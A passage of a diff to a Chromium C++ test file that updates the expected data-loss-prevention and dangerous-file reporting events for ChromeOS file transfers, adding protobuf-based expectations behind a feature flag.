+          /*rule_action=*/
+          chrome::cros::reporting::proto::TriggeredRuleInfo::WARN,
+          /*event_result=*/
+          chrome::cros::reporting::proto::EventResult::EVENT_RESULT_WARNED,
+          /*user_justification=*/std::nullopt);
+
+      validator.ExpectSensitiveDataEvent(std::move(expected_event));
+    } else {
+      validator.ExpectSensitiveDataEvent(
+          /*url*/ "",
+          /*tab_url*/ "",
+          /*source*/ kSourceVolumeInfo.fs_config_string,
+          /*destination*/ kDestinationVolumeInfo.fs_config_string,
+          /*filename*/ "foo.doc",
+          // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+          /*sha*/
+          "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+          /*trigger*/
+          kFileTransferDataTransferEventTrigger,
+          /*dlp_verdict*/ response.results()[0],
+          /*mimetype*/ DocMimeTypes(),
+          /*size*/ std::string("content").size(),
+          /*result*/
+          EventResultToString(EventResult::WARNED),
+          /*username*/ kUserName,
+          /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+          /*scan_id*/ scan_id,
+          /*content_transfer_method*/ std::nullopt,
+          /*user_justification*/ std::nullopt);
+    }
 
     ScanUpload(source_url, destination_directory_url_);
     run_loop.Run();
@@ -1151,27 +1262,48 @@
     test::EventReportValidator validator(cloud_policy_client());
     base::RunLoop run_loop;
     validator.SetDoneClosure(run_loop.QuitClosure());
-    validator.ExpectSensitiveDataEvent(
-        /*url*/ "",
-        /*tab_url*/ "",
-        /*source*/ kSourceVolumeInfo.fs_config_string,
-        /*destination*/ kDestinationVolumeInfo.fs_config_string,
-        /*filename*/ "foo.doc",
-        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-        /*sha*/
-        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-        /*trigger*/
-        kFileTransferDataTransferEventTrigger,
-        /*dlp_verdict*/ response.results()[0],
-        /*mimetype*/ DocMimeTypes(),
-        /*size*/ std::string("content").size(),
-        /*result*/
-        EventResultToString(EventResult::BYPASSED),
-        /*username*/ kUserName,
-        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-        /*scan_id*/ scan_id,
-        /*content_transfer_method*/ std::nullopt,
-        /*user_justification*/ kUserJustification);
+
+    if (base::FeatureList::IsEnabled(
+            policy::kUploadRealtimeReportingEventsUsingProto)) {
+      auto expected_event = CreateDlpSensitiveDataEvent(
+          /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+          /*file_name=*/"foo.doc",
+          /*source=*/kSourceVolumeInfo.fs_config_string,
+          /*destination=*/kDestinationVolumeInfo.fs_config_string,
+          /*sha256=*/
+          "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+          /*mimetype=*/"application/msword",
+          /*content_size=*/std::string("content").size(),
+          /*rule_action=*/
+          chrome::cros::reporting::proto::TriggeredRuleInfo::WARN,
+          /*event_result=*/
+          chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BYPASSED,
+          /*user_justification=*/"User justification");
+
+      validator.ExpectSensitiveDataEvent(std::move(expected_event));
+    } else {
+      validator.ExpectSensitiveDataEvent(
+          /*url*/ "",
+          /*tab_url*/ "",
+          /*source*/ kSourceVolumeInfo.fs_config_string,
+          /*destination*/ kDestinationVolumeInfo.fs_config_string,
+          /*filename*/ "foo.doc",
+          // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+          /*sha*/
+          "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+          /*trigger*/
+          kFileTransferDataTransferEventTrigger,
+          /*dlp_verdict*/ response.results()[0],
+          /*mimetype*/ DocMimeTypes(),
+          /*size*/ std::string("content").size(),
+          /*result*/
+          EventResultToString(EventResult::BYPASSED),
+          /*username*/ kUserName,
+          /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+          /*scan_id*/ scan_id,
+          /*content_transfer_method*/ std::nullopt,
+          /*user_justification*/ kUserJustification);
+    }
 
     file_transfer_analysis_delegate_->BypassWarnings(kUserJustification);
     run_loop.Run();
@@ -1330,27 +1462,48 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectSensitiveDataEvent(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filename*/ "foo.doc",
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha*/
-      "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdict*/ response.results()[0],
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      EventResultToString(EventResult::ALLOWED),
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_id*/ scan_id,
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    auto expected_event = CreateDlpSensitiveDataEvent(
+        /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+        /*file_name=*/"foo.doc",
+        /*source=*/kSourceVolumeInfo.fs_config_string,
+        /*destination=*/kDestinationVolumeInfo.fs_config_string,
+        /*sha256=*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*mimetype=*/"application/msword",
+        /*content_size=*/std::string("content").size(),
+        /*rule_action=*/
+        chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK,
+        /*event_result=*/
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_ALLOWED,
+        /*user_justification=*/std::nullopt);
+
+    validator.ExpectSensitiveDataEvent(std::move(expected_event));
+  } else {
+    validator.ExpectSensitiveDataEvent(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filename*/ "foo.doc",
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdict*/ response.results()[0],
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        EventResultToString(EventResult::ALLOWED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_id*/ scan_id,
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_url, destination_url);
   run_loop.Run();
@@ -1388,25 +1541,56 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectDangerousDeepScanningResult(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filename*/ "foo.doc",
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha*/
-      "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-      /*thread_type*/ "DANGEROUS",
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      EventResultToString(EventResult::BLOCKED),
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_id*/ scan_id);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent
+        expected_event;
+
+    expected_event.set_url("");
+    expected_event.set_tab_url("");
+    expected_event.set_source(kSourceVolumeInfo.fs_config_string);
+    expected_event.set_destination(kDestinationVolumeInfo.fs_config_string);
+    expected_event.set_download_digest_sha256(
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73");
+    expected_event.set_threat_type(
+        chrome::cros::reporting::proto::SafeBrowsingDangerousDownloadEvent::
+            DANGEROUS);
+    expected_event.set_file_name("foo.doc");
+    expected_event.set_content_type("application/msword");
+    expected_event.set_content_size(std::string("content").size());
+    expected_event.set_scan_id(scan_id);
+    expected_event.set_trigger(chrome::cros::reporting::proto::
+                                   DataTransferEventTrigger::FILE_TRANSFER);
+    expected_event.set_event_result(
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED);
+    expected_event.set_clicked_through(false);
+
+    expected_event.set_profile_identifier(profile_->GetPath().AsUTF8Unsafe());
+    expected_event.set_profile_user_name(kUserName);
+
+    validator.ExpectDangerousDownloadEvent(std::move(expected_event));
+  } else {
+    validator.ExpectDangerousDeepScanningResult(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filename*/ "foo.doc",
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*thread_type*/ "DANGEROUS",
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        EventResultToString(EventResult::BLOCKED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_id*/ scan_id);
+  }
 
   ScanUpload(source_url, destination_directory_url_);
   run_loop.Run();
@@ -1452,27 +1636,47 @@
   validator.SetDoneClosure(run_loop.QuitClosure());
   // When resumable upload is in use and the policy does not block encrypted
   // files by default, the file's metadata is uploaded for scanning.
-  validator.ExpectSensitiveDataEvent(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filename*/ "encrypted.zip",
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha*/
-      "701FCEA8B2112FFAB257A8A8DFD3382ABCF047689AB028D42903E3B3AA488D9A",
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdict*/ response.results()[0],
-      /*mimetype*/ ZipMimeTypes(),
-      /*size*/ 20015,
-      /*result*/
-      EventResultToString(EventResult::ALLOWED),
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_id*/ scan_id,
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    auto expected_event = CreateDlpSensitiveDataEvent(
+        /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+        /*file_name=*/"encrypted.zip",
+        /*source=*/kSourceVolumeInfo.fs_config_string,
+        /*destination=*/kDestinationVolumeInfo.fs_config_string,
+        /*sha256=*/
+        "701FCEA8B2112FFAB257A8A8DFD3382ABCF047689AB028D42903E3B3AA488D9A",
+        /*mimetype=*/"application/zip",
+        /*content_size=*/20015,
+        /*rule_action=*/
+        chrome::cros::reporting::proto::TriggeredRuleInfo::REPORT_ONLY,
+        /*event_result=*/
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_ALLOWED,
+        /*user_justification=*/std::nullopt);
+
+    validator.ExpectSensitiveDataEvent(std::move(expected_event));
+  } else {
+    validator.ExpectSensitiveDataEvent(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filename*/ "encrypted.zip",
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "701FCEA8B2112FFAB257A8A8DFD3382ABCF047689AB028D42903E3B3AA488D9A",
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdict*/ response.results()[0],
+        /*mimetype*/ ZipMimeTypes(),
+        /*size*/ 20015,
+        /*result*/
+        EventResultToString(EventResult::ALLOWED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_id*/ scan_id,
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_url, destination_directory_url_);
   run_loop.Run();
@@ -1529,27 +1733,48 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectSensitiveDataEvent(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filename*/ "foo.doc",
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha*/
-      "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdict*/ response.results()[0],
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      EventResultToString(EventResult::BLOCKED),
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_id*/ scan_id,
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    auto expected_event = CreateDlpSensitiveDataEvent(
+        /*profile_identifier=*/profile_->GetPath().AsUTF8Unsafe(),
+        /*file_name=*/"foo.doc",
+        /*source=*/kSourceVolumeInfo.fs_config_string,
+        /*destination=*/kDestinationVolumeInfo.fs_config_string,
+        /*sha256=*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*mimetype=*/"application/msword",
+        /*content_size=*/std::string("content").size(),
+        /*rule_action=*/
+        chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK,
+        /*event_result=*/
+        chrome::cros::reporting::proto::EventResult::EVENT_RESULT_BLOCKED,
+        /*user_justification=*/std::nullopt);
+
+    validator.ExpectSensitiveDataEvent(std::move(expected_event));
+  } else {
+    validator.ExpectSensitiveDataEvent(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filename*/ "foo.doc",
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha*/
+        "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdict*/ response.results()[0],
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        EventResultToString(EventResult::BLOCKED),
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_id*/ scan_id,
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_directory_url_, destination_directory_url_);
   run_loop.Run();
@@ -1611,32 +1836,74 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectSensitiveDataEvents(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filenames*/ {"foo.doc", "baa.doc", "blub.doc"},
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha256s*/
-      {"ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-       "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-       "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73"},
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdicts*/
-      {response.results()[0], response.results()[0], response.results()[0]},
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      {EventResultToString(EventResult::BLOCKED),
-       EventResultToString(EventResult::BLOCKED),
-       EventResultToString(EventResult::BLOCKED)},
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_ids*/ {scan_id, scan_id, scan_id},
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    std::vector<chrome::cros::reporting::proto::DlpSensitiveDataEvent>
+        expected_events;
+
+    for (size_t i = 0; i < paths.size(); ++i) {
+      chrome::cros::reporting::proto::DlpSensitiveDataEvent expected_event;
+
+      expected_event.set_url("");
+      expected_event.set_tab_url("");
+      expected_event.set_source(kSourceVolumeInfo.fs_config_string);
+      expected_event.set_destination(kDestinationVolumeInfo.fs_config_string);
+
+      expected_event.set_content_type("application/msword");
+      expected_event.set_content_size(std::string("content").size());
+      expected_event.set_trigger(chrome::cros::reporting::proto::
+                                     DataTransferEventTrigger::FILE_TRANSFER);
+      expected_event.set_clicked_through(false);
+
+      auto* triggered_rule = expected_event.add_triggered_rule_info();
+      triggered_rule->set_rule_name("rule");
+      triggered_rule->set_action(
+          chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK);
+
+      expected_event.set_profile_identifier(profile_->GetPath().AsUTF8Unsafe());
+      expected_event.set_profile_user_name(kUserName);
+
+      expected_events.emplace_back(expected_event);
+    }
+
+    validator.ExpectSensitiveDataEvents(
+        std::move(expected_events), {"foo.doc", "baa.doc", "blub.doc"},
+        {"ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+         "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+         "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73"},
+        {EventResultToString(EventResult::BLOCKED),
+         EventResultToString(EventResult::BLOCKED),
+         EventResultToString(EventResult::BLOCKED)},
+        {scan_id, scan_id, scan_id});
+  } else {
+    validator.ExpectSensitiveDataEvents(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filenames*/ {"foo.doc", "baa.doc", "blub.doc"},
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha256s*/
+        {"ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+         "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+         "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73"},
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdicts*/
+        {response.results()[0], response.results()[0], response.results()[0]},
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        {EventResultToString(EventResult::BLOCKED),
+         EventResultToString(EventResult::BLOCKED),
+         EventResultToString(EventResult::BLOCKED)},
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_ids*/ {scan_id, scan_id, scan_id},
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_directory_url_, destination_directory_url_);
   run_loop.Run();
@@ -1682,30 +1949,71 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectSensitiveDataEvents(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filenames*/ {"bad1.doc", "bad2.doc"},
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha256s*/
-      {"ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
-       "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73"},
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdicts*/
-      {result, result},
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      {EventResultToString(EventResult::BLOCKED),
-       EventResultToString(EventResult::BLOCKED)},
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_ids*/ {scan_id, scan_id},
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    std::vector<chrome::cros::reporting::proto::DlpSensitiveDataEvent>
+        expected_events;
+
+    for (size_t i = 0; i < 2; ++i) {
+      chrome::cros::reporting::proto::DlpSensitiveDataEvent expected_event;
+
+      expected_event.set_url("");
+      expected_event.set_tab_url("");
+      expected_event.set_source(kSourceVolumeInfo.fs_config_string);
+      expected_event.set_destination(kDestinationVolumeInfo.fs_config_string);
+
+      expected_event.set_content_type("application/msword");
+      expected_event.set_content_size(std::string("content").size());
+      expected_event.set_trigger(chrome::cros::reporting::proto::
+                                     DataTransferEventTrigger::FILE_TRANSFER);
+      expected_event.set_clicked_through(false);
+
+      auto* triggered_rule = expected_event.add_triggered_rule_info();
+      triggered_rule->set_rule_name("rule");
+      triggered_rule->set_action(
+          chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK);
+
+      expected_event.set_profile_identifier(profile_->GetPath().AsUTF8Unsafe());
+      expected_event.set_profile_user_name(kUserName);
+
+      expected_events.emplace_back(expected_event);
+    }
+
+    validator.ExpectSensitiveDataEvents(
+        std::move(expected_events), {"bad1.doc", "bad2.doc"},
+        {"ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+         "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73"},
+        {EventResultToString(EventResult::BLOCKED),
+         EventResultToString(EventResult::BLOCKED)},
+        {scan_id, scan_id});
+
+  } else {
+    validator.ExpectSensitiveDataEvents(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filenames*/ {"bad1.doc", "bad2.doc"},
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha256s*/
+        {"ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73",
+         "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73"},
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdicts*/
+        {result, result},
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        {EventResultToString(EventResult::BLOCKED),
+         EventResultToString(EventResult::BLOCKED)},
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_ids*/ {scan_id, scan_id},
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_directory_url_, destination_directory_url_);
   run_loop.Run();
@@ -1746,6 +2054,7 @@
   std::vector<ContentAnalysisResponse::Result> expected_dlp_verdicts;
   std::vector<std::string> expected_results;
   std::vector<std::string> expected_scan_ids;
+  std::vector<std::string> expected_rule_names;
 
   // Mark all files and text with failed scans.
   for (size_t i = 0; i < paths.size(); ++i) {
@@ -1767,6 +2076,8 @@
       expected_dlp_verdicts.push_back(response.results()[0]);
       expected_results.push_back(EventResultToString(EventResult::BLOCKED));
       expected_scan_ids.push_back(request_token);
+      expected_rule_names.push_back(
+          base::StrCat({"rule", base::NumberToString(i)}));
     }
   }
 
@@ -1775,28 +2086,64 @@
   test::EventReportValidator validator(cloud_policy_client());
   base::RunLoop run_loop;
   validator.SetDoneClosure(run_loop.QuitClosure());
-  validator.ExpectSensitiveDataEvents(
-      /*url*/ "",
-      /*tab_url*/ "",
-      /*source*/ kSourceVolumeInfo.fs_config_string,
-      /*destination*/ kDestinationVolumeInfo.fs_config_string,
-      /*filenames*/ expected_filenames,
-      // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-      /*sha256s*/
-      expected_shas,
-      /*trigger*/
-      kFileTransferDataTransferEventTrigger,
-      /*dlp_verdicts*/
-      expected_dlp_verdicts,
-      /*mimetype*/ DocMimeTypes(),
-      /*size*/ std::string("content").size(),
-      /*result*/
-      expected_results,
-      /*username*/ kUserName,
-      /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
-      /*scan_ids*/ expected_scan_ids,
-      /*content_transfer_method*/ std::nullopt,
-      /*user_justification*/ std::nullopt);
+
+  if (base::FeatureList::IsEnabled(
+          policy::kUploadRealtimeReportingEventsUsingProto)) {
+    std::vector<chrome::cros::reporting::proto::DlpSensitiveDataEvent>
+        expected_events;
+
+    for (size_t i = 0; i < expected_filenames.size(); ++i) {
+      chrome::cros::reporting::proto::DlpSensitiveDataEvent expected_event;
+
+      expected_event.set_url("");
+      expected_event.set_tab_url("");
+      expected_event.set_source(kSourceVolumeInfo.fs_config_string);
+      expected_event.set_destination(kDestinationVolumeInfo.fs_config_string);
+
+      expected_event.set_content_type("application/msword");
+      expected_event.set_content_size(std::string("content").size());
+      expected_event.set_trigger(chrome::cros::reporting::proto::
+                                     DataTransferEventTrigger::FILE_TRANSFER);
+      expected_event.set_clicked_through(false);
+
+      auto* triggered_rule = expected_event.add_triggered_rule_info();
+      triggered_rule->set_rule_name(expected_rule_names[i]);
+      triggered_rule->set_action(
+          chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK);
+
+      expected_event.set_profile_identifier(profile_->GetPath().AsUTF8Unsafe());
+      expected_event.set_profile_user_name(kUserName);
+
+      expected_events.emplace_back(expected_event);
+    }
+
+    validator.ExpectSensitiveDataEvents(std::move(expected_events),
+                                        expected_filenames, expected_shas,
+                                        expected_results, expected_scan_ids);
+  } else {
+    validator.ExpectSensitiveDataEvents(
+        /*url*/ "",
+        /*tab_url*/ "",
+        /*source*/ kSourceVolumeInfo.fs_config_string,
+        /*destination*/ kDestinationVolumeInfo.fs_config_string,
+        /*filenames*/ expected_filenames,
+        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
+        /*sha256s*/
+        expected_shas,
+        /*trigger*/
+        kFileTransferDataTransferEventTrigger,
+        /*dlp_verdicts*/
+        expected_dlp_verdicts,
+        /*mimetype*/ DocMimeTypes(),
+        /*size*/ std::string("content").size(),
+        /*result*/
+        expected_results,
+        /*username*/ kUserName,
+        /*profile_identifier*/ profile_->GetPath().AsUTF8Unsafe(),
+        /*scan_ids*/ expected_scan_ids,
+        /*content_transfer_method*/ std::nullopt,
+        /*user_justification*/ std::nullopt);
+  }
 
   ScanUpload(source_directory_url_, destination_directory_url_);
   run_loop.Run();
@@ -1843,6 +2190,9 @@
     std::vector<ContentAnalysisResponse::Result> expected_dlp_verdicts;
     std::vector<std::string> expected_results;
     std::vector<std::string> expected_scan_ids;
+    std::vector<std::string> expected_rule_names;
+    std::vector<::chrome::cros::reporting::proto::TriggeredRuleInfo::Action>
+        expected_rule_actions;
 
     // Mark all files and text with failed scans.
     for (size_t i = 0; i < paths.size(); ++i) {
@@ -1864,11 +2214,17 @@
         expected_shas.push_back(
             "ED7002B439E9AC845F22357D822BAC1444730FBDB6016D3EC9432297B9EC9F73");
         expected_dlp_verdicts.push_back(response.results()[0]);
+        expected_rule_names.push_back(
+            base::StrCat({"rule", base::NumberToString(i)}));
         if (should_block) {
           expected_results.push_back(EventResultToString(EventResult::BLOCKED));
+          expected_rule_actions.push_back(
+              ::chrome::cros::reporting::proto::TriggeredRuleInfo::BLOCK);
         } else {
           ASSERT_TRUE(should_warn);
           expected_results.push_back(EventResultToString(EventResult::WARNED));
+          expected_rule_actions.push_back(
+              ::chrome::cros::reporting::proto::TriggeredRuleInfo::WARN);
         }
         expected_scan_ids.push_back(request_token);
       }
@@ -1881,29 +2237,63 @@
     test::EventReportValidator validator(cloud_policy_client());
     base::RunLoop run_loop;
     validator.SetDoneClosure(run_loop.QuitClosure());
-    validator.ExpectSensitiveDataEvents(
-        /*url*/ "",
-        /*tab_url*/ "",
-        /*source*/ kSourceVolumeInfo.fs_config_string,
-        /*destination*/ kDestinationVolumeInfo.fs_config_string,
-        /*filenames*/ expected_filenames,
-        // printf "content" | sha256sum  |  tr '[:lower:]' '[:upper:]'
-        /*sha256s*/
-        expected_shas,
-        /*trigger*/
-        kFileTransferDataTransferEventTrigger,
-        /*dlp_verdicts*/
-        expected_dlp_verdicts,
-        /*mimetype*/ DocMimeTypes(),
